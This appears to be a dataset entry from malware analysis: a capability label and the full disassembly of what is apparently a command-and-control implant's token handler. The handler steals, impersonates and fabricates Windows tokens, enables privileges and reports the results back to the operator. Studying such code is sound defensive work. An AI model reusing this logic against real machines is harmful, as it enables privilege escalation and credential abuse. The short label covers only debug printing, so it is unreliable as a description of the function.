Function at 0x14000f0b0
Capabilities:
Print debug messages

Disassembly:
push r15
mov r15, rcx
mov ecx, 0x28
push r14
push r13
lea r13, str.CommandToken
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x188
call sym.PackageCreate
mov rcx, r15
mov r12, rax
call sym.ParserGetInt32
mov r8d, 0x562
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Command____d_n
mov r14d, eax
mov r9d, eax
call sym.DbgPrint
mov edx, r14d
mov rcx, r12
dec r14d
call sym.PackageAddInt32
cmp r14d, 9
ja case.default.0x14000f12a
lea rdx, [0x140027efc]
movsxd rax, dword [rdx + r14*4]
lea r14, [0x140027618]
add rax, rdx
jmp rax
lea r9, str.Token::Impersonate
mov r8d, 0x567
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
mov rcx, r15
call sym.ParserGetInt32
mov ecx, eax
call sym.TokenGet
mov rbx, rax
test rax, rax
je 0x14000f176
mov rcx, rax
call sym.ImpersonateTokenInStore
mov rcx, r12
mov edx, eax
call sym.PackageAddInt32
mov rdx, qword [rbx + 8]
jmp 0x14000f558
lea r9, [0x140027caf]
mov r8d, 0x575
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
mov edx, 1
mov ecx, 3
call sym.PackageTransmitError
xor edx, edx
mov rcx, r12
call sym.PackageAddInt32
xor edx, edx
jmp 0x14000f2dc
lea r9, str.Token::Steal
mov r8d, 0x57e
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
mov rcx, r15
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
call sym.ParserGetInt32
mov rcx, r15
mov ebx, eax
call sym.ParserGetInt32
mov ecx, ebx
movsxd rdx, eax
call sym.TokenSteal
lea r9, str.____Couldnt_get_remote_process_token
mov r8d, 0x58e
mov r15, rax
test rax, rax
je 0x14000f279
xor r8d, r8d
lea rdx, [rsp + 0x78]
mov rcx, rax
call sym.TokenQueryOwner
lea r9, str.Failed_to_query_user_domain_from_stolen_token
mov r8d, 0x593
test eax, eax
je 0x14000f279
mov qword [rsp + 0x30], 0
mov rdx, qword [rsp + 0x78]
mov rcx, r15
mov r9d, ebx
mov qword [rsp + 0x28], 0
mov r8d, 1
mov qword [rsp + 0x20], 0
call sym.TokenAdd
mov ecx, eax
mov r15d, eax
call sym.ImpersonateTokenFromVault
test eax, eax
jne 0x14000f298
lea r9, str.Failed_to_impersonate_the_token
mov r8d, 0x59d
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
add rsp, 0x188
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x78]
mov r9d, r15d
mov r8d, 0x5a1
mov rdx, r13
lea rcx, str._DEBUG::_s::_d_____New_Token_added_to_the_Vault:__d_User:__ls__n
mov qword [rsp + 0x20], rax
call sym.DbgPrint
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, r12
call sym.PackageAddBytes
mov edx, r15d
mov rcx, r12
call sym.PackageAddInt32
mov edx, ebx
mov rcx, r12
call sym.PackageAddInt32
jmp case.default.0x14000f12a
mov rcx, r14
lea r9, str.Token::List
mov rdx, r13
xor ebx, ebx
mov r8d, 0x5aa
lea rdi, str._DEBUG::_s::_d___TOKEN_LIST__Index:__d__Handle:_0x_x__User:__s__Pid:__d__n
call sym.printf.constprop.0_5
mov rsi, qword [0x14002d650]
mov rax, qword [rsi]
mov r14, qword [rax + 0x8ee]
test r14, r14
je case.default.0x14000f12a
mov eax, dword [r14 + 0x10]
mov r9d, ebx
mov r8d, 0x5b2
mov rdx, r13
mov rcx, rdi
mov dword [rsp + 0x30], eax
mov rax, qword [r14 + 8]
mov qword [rsp + 0x28], rax
mov rax, qword [r14]
mov qword [rsp + 0x20], rax
call sym.DbgPrint
mov edx, ebx
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [r14]
mov rcx, r12
call sym.PackageAddInt32
mov rdx, qword [r14 + 8]
mov rcx, r12
call sym.PackageAddWString
mov edx, dword [r14 + 0x10]
mov rcx, r12
call sym.PackageAddInt32
movsx edx, word [r14 + 0x14]
mov rcx, r12
call sym.PackageAddInt32
mov rax, qword [rsi]
mov edx, dword [rax + 0x8fe]
test edx, edx
je 0x14000f3aa
mov rax, qword [rax + 0x8f6]
xor edx, edx
mov rcx, qword [r14]
cmp qword [rax], rcx
sete dl
mov rcx, r12
inc ebx
call sym.PackageAddInt32
mov r14, qword [r14 + 0x30]
jmp 0x14000f31b
mov rdx, r13
lea r9, str.Token::PrivsGetOrList
mov r8d, 0x5c5
mov rcx, r14
call sym.printf.constprop.0_5
mov rcx, r15
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
call sym.ParserGetInt32
mov rcx, r12
mov ebx, eax
mov edx, eax
call sym.PackageAddInt32
test ebx, ebx
je 0x14000f516
mov rdx, r13
mov rcx, r14
lea rsi, [rsp + 0x6c]
mov r8d, 0x5d3
lea r9, str.Privs::List
lea rdi, [rsp + 0x88]
call sym.printf.constprop.0_5
call sym.TokenCurrentHandle
xor r9d, r9d
xor r8d, r8d
mov edx, 3
mov rbx, qword [0x14002d650]
mov r14, rax
mov rcx, r14
mov rax, qword [rbx]
mov qword [rsp + 0x20], rsi
call qword [rax + 0x548]
mov eax, dword [rsp + 0x6c]
mov ecx, 0x40
lea edx, [rax + 1]
mov rax, qword [rbx]
shl rdx, 4
call qword [rax + 0x3a8]
mov ecx, 0x3d
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov r13, rax
xor eax, eax
rep stosd dword [rdi], eax
test r13, r13
je case.default.0x14000f12a
mov rax, qword [rbx]
mov r9d, dword [rsp + 0x6c]
mov qword [rsp + 0x20], rsi
mov r8, r13
mov edx, 3
mov rcx, r14
call qword [rax + 0x548]
test eax, eax
je 0x14000fa2f
lea rsi, [r13 + 4]
xor edi, edi
lea r14, [rsp + 0x70]
lea rbp, [rsp + 0x78]
cmp dword [r13], edi
jbe 0x14000fa2f
mov rax, qword [rbx]
mov r9, r14
mov r8, rbp
mov rdx, rsi
xor ecx, ecx
mov dword [rsp + 0x70], 0x104
inc edi
add rsi, 0xc
call qword [rax + 0x620]
mov rdx, rbp
mov rcx, r12
call sym.PackageAddString
mov edx, dword [rsi - 4]
mov rcx, r12
call sym.PackageAddInt32
jmp 0x14000f4d2
lea r9, str.Privs::Get
mov r8d, 0x5eb
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x74]
mov rcx, r15
call sym.ParserGetString
mov edx, 1
mov rcx, rax
mov r13, rax
call sym.TokenSetPrivilege
mov rcx, r12
mov edx, eax
call sym.PackageAddInt32
mov rdx, r13
mov rcx, r12
call sym.PackageAddString
jmp case.default.0x14000f12a
lea r9, str.Token::Make
mov r8d, 0x5fc
mov rcx, r14
mov rdx, r13
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x78]
mov rcx, r15
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x78], 0
call sym.ParserGetWString
lea rdx, [rsp + 0x70]
mov rcx, r15
mov rbp, rax
call sym.ParserGetWString
lea rdx, [rsp + 0x74]
mov rcx, r15
mov rsi, rax
call sym.ParserGetWString
mov rcx, r15
mov qword [rsp + 0x48], rax
call sym.ParserGetInt32
mov ebx, dword [rsp + 0x70]
mov r14d, dword [rsp + 0x78]
mov word [rsp + 0x6c], 0x5c
mov edi, eax
test ebx, ebx
je case.default.0x14000f12a
cmp dword [rsp + 0x74], 0
je case.default.0x14000f12a
test r14d, r14d
je case.default.0x14000f12a
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x48]
mov r9, rbp
mov rdx, r13
mov qword [rsp + 0x20], rsi
mov r8d, 0x610
lea rcx, str._DEBUG::_s::_d__Create_new_token:_Domain:__ls__User:__ls__Password:__ls__LogonType:__d__n
mov qword [rsp + 0x28], rax
call sym.DbgPrint
mov rdx, qword [rsp + 0x48]
mov r9d, edi
mov r8, rbp
mov rcx, rsi
call sym.TokenMake
mov r15, rax
test rax, rax
je case.default.0x14000f12a
lea edx, [rbx + r14 + 1]
mov rbx, qword [0x14002d650]
mov ecx, 0x40
mov qword [rsp + 0x50], rdx
mov rax, qword [rbx]
call qword [rax + 0x3a8]
mov rcx, qword [rsp + 0x50]
mov r14, rax
mov rdi, rax
xor eax, eax
rep stosb byte [rdi], al
mov rdx, rbp
mov rcx, r14
call sym.StringConcatW
lea rdx, [rsp + 0x6c]
mov rcx, r14
call sym.StringConcatW
mov rdx, rsi
mov rcx, r14
call sym.StringConcatW
mov rax, qword [rbx]
mov edx, dword [rsp + 0x70]
mov ecx, 0x40
call qword [rax + 0x3a8]
mov edx, dword [rsp + 0x74]
mov ecx, 0x40
mov qword [rsp + 0x58], rax
mov rax, qword [rbx]
call qword [rax + 0x3a8]
mov edx, dword [rsp + 0x78]
mov ecx, 0x40
mov qword [rsp + 0x50], rax
mov rax, qword [rbx]
call qword [rax + 0x3a8]
mov r8, qword [rsp + 0x58]
mov r10, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x70]
mov rdi, r8
rep movsb byte [rdi], byte [rsi]
mov rdi, r10
mov rsi, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
rep movsb byte [rdi], byte [rsi]
mov rdi, rax
mov rsi, rbp
mov ecx, dword [rsp + 0x78]
rep movsb byte [rdi], byte [rsi]
mov rcx, r15
mov rdx, qword gs:[0x30]
mov r9, qword [rdx + 0x40]
mov qword [rsp + 0x30], r10
mov rdx, r14
mov qword [rsp + 0x20], r8
mov r8d, 2
mov qword [rsp + 0x28], rax
call sym.TokenAdd
mov ecx, eax
call sym.ImpersonateTokenFromVault
mov rdx, r13
mov r9, r14
mov r8d, 0x632
lea rcx, str._DEBUG::_s::_d__UserDomain____ls_n
call sym.DbgPrint
mov rdx, r14
mov rcx, r12
call sym.PackageAddWString
jmp case.default.0x14000f12a
mov rcx, r14
lea r9, str.Token::GetUID
mov r8d, 0x63b
mov rdx, r13
call sym.printf.constprop.0_5
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
call sym.TokenCurrentHandle
mov r14, rax
test rax, rax
je 0x14000f80c
mov rcx, rax
call sym.TokenElevated
mov rcx, r12
mov edx, eax
call sym.PackageAddInt32
xor r8d, r8d
lea rdx, [rsp + 0x78]
mov rcx, r14
call sym.TokenQueryOwner
test eax, eax
je 0x14000f7f5
mov eax, dword [rsp + 0x80]
mov r9, qword [rsp + 0x78]
mov r8d, 0x648
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__User____ls___ld__n
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
jmp 0x14000f7fa
xor r8d, r8d
xor edx, edx
mov rcx, r12
call sym.PackageAddBytes
mov rcx, r14
call sym.SysNtClose
jmp 0x14000f82a
mov rax, qword [0x14002d650]
mov ecx, 1
mov rax, qword [rax]
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je case.default.0x14000f12a
mov ecx, dword [rsp + 0x80]
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x78]
call sym.MmHeapFree
jmp case.default.0x14000f12a
lea r9, str.Token::Revert
mov r8d, 0x663
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
call sym.TokenRevSelf
mov rcx, r12
mov ebx, eax
mov edx, eax
call sym.PackageAddInt32
test ebx, ebx
mov rbx, qword [0x14002d650]
jne 0x14000f89d
mov rax, qword [rbx]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
mov rax, qword [rbx]
mov qword [rax + 0x8f6], 0
mov dword [rax + 0x8fe], 0
jmp case.default.0x14000f12a
mov rdx, r13
lea r9, str.Token::Remove
mov r8d, 0x672
mov rcx, r14
call sym.printf.constprop.0_5
mov rcx, r15
call sym.ParserGetInt32
mov ecx, eax
mov r13d, eax
call sym.TokenRemove
mov rcx, r12
mov edx, eax
call sym.PackageAddInt32
mov edx, r13d
jmp 0x14000f2dc
lea r9, str.Token::Clear
mov r8d, 0x67c
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
call sym.TokenClear
jmp case.default.0x14000f12a
lea r9, str.Token::Find
mov r8d, 0x684
mov rdx, r13
mov rcx, r14
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x74]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x74], 0
call sym.ListTokens
mov rcx, r12
mov ebx, eax
mov edx, eax
call sym.PackageAddInt32
test ebx, ebx
jne 0x14000f991
mov rdi, qword [rsp + 0x78]
test rdi, rdi
je case.default.0x14000f12a
mov ecx, dword [rsp + 0x74]
xor eax, eax
imul rcx, rcx, 0x420
rep stosb byte [rdi], al
mov rax, qword [0x14002d650]
mov rcx, qword [rsp + 0x78]
mov rax, qword [rax]
jmp 0x14000fa41
mov edx, dword [rsp + 0x74]
mov rcx, r12
xor ebx, ebx
call sym.PackageAddInt32
mov rdx, qword [rsp + 0x78]
cmp dword [rsp + 0x74], ebx
jbe 0x14000f960
mov r13d, ebx
mov rcx, r12
inc ebx
imul r13, r13, 0x420
add rdx, r13
call sym.PackageAddWString
mov rax, qword [rsp + 0x78]
mov rcx, r12
mov edx, dword [rax + r13 + 0x400]
call sym.PackageAddInt32
mov rax, qword [rsp + 0x78]
mov rcx, r12
mov edx, dword [rax + r13 + 0x408]
call sym.PackageAddInt32
mov rax, qword [rsp + 0x78]
mov rcx, r12
mov edx, dword [rax + r13 + 0x410]
call sym.PackageAddInt32
mov rax, qword [rsp + 0x78]
mov rcx, r12
mov edx, dword [rax + r13 + 0x414]
call sym.PackageAddInt32
mov rax, qword [rsp + 0x78]
mov rcx, r12
mov edx, dword [rax + r13 + 0x418]
call sym.PackageAddInt32
jmp 0x14000f99f
mov rdi, r13
mov ecx, 0x10
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x3b0]
add rsp, 0x188
mov rcx, r12
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.PackageTransmit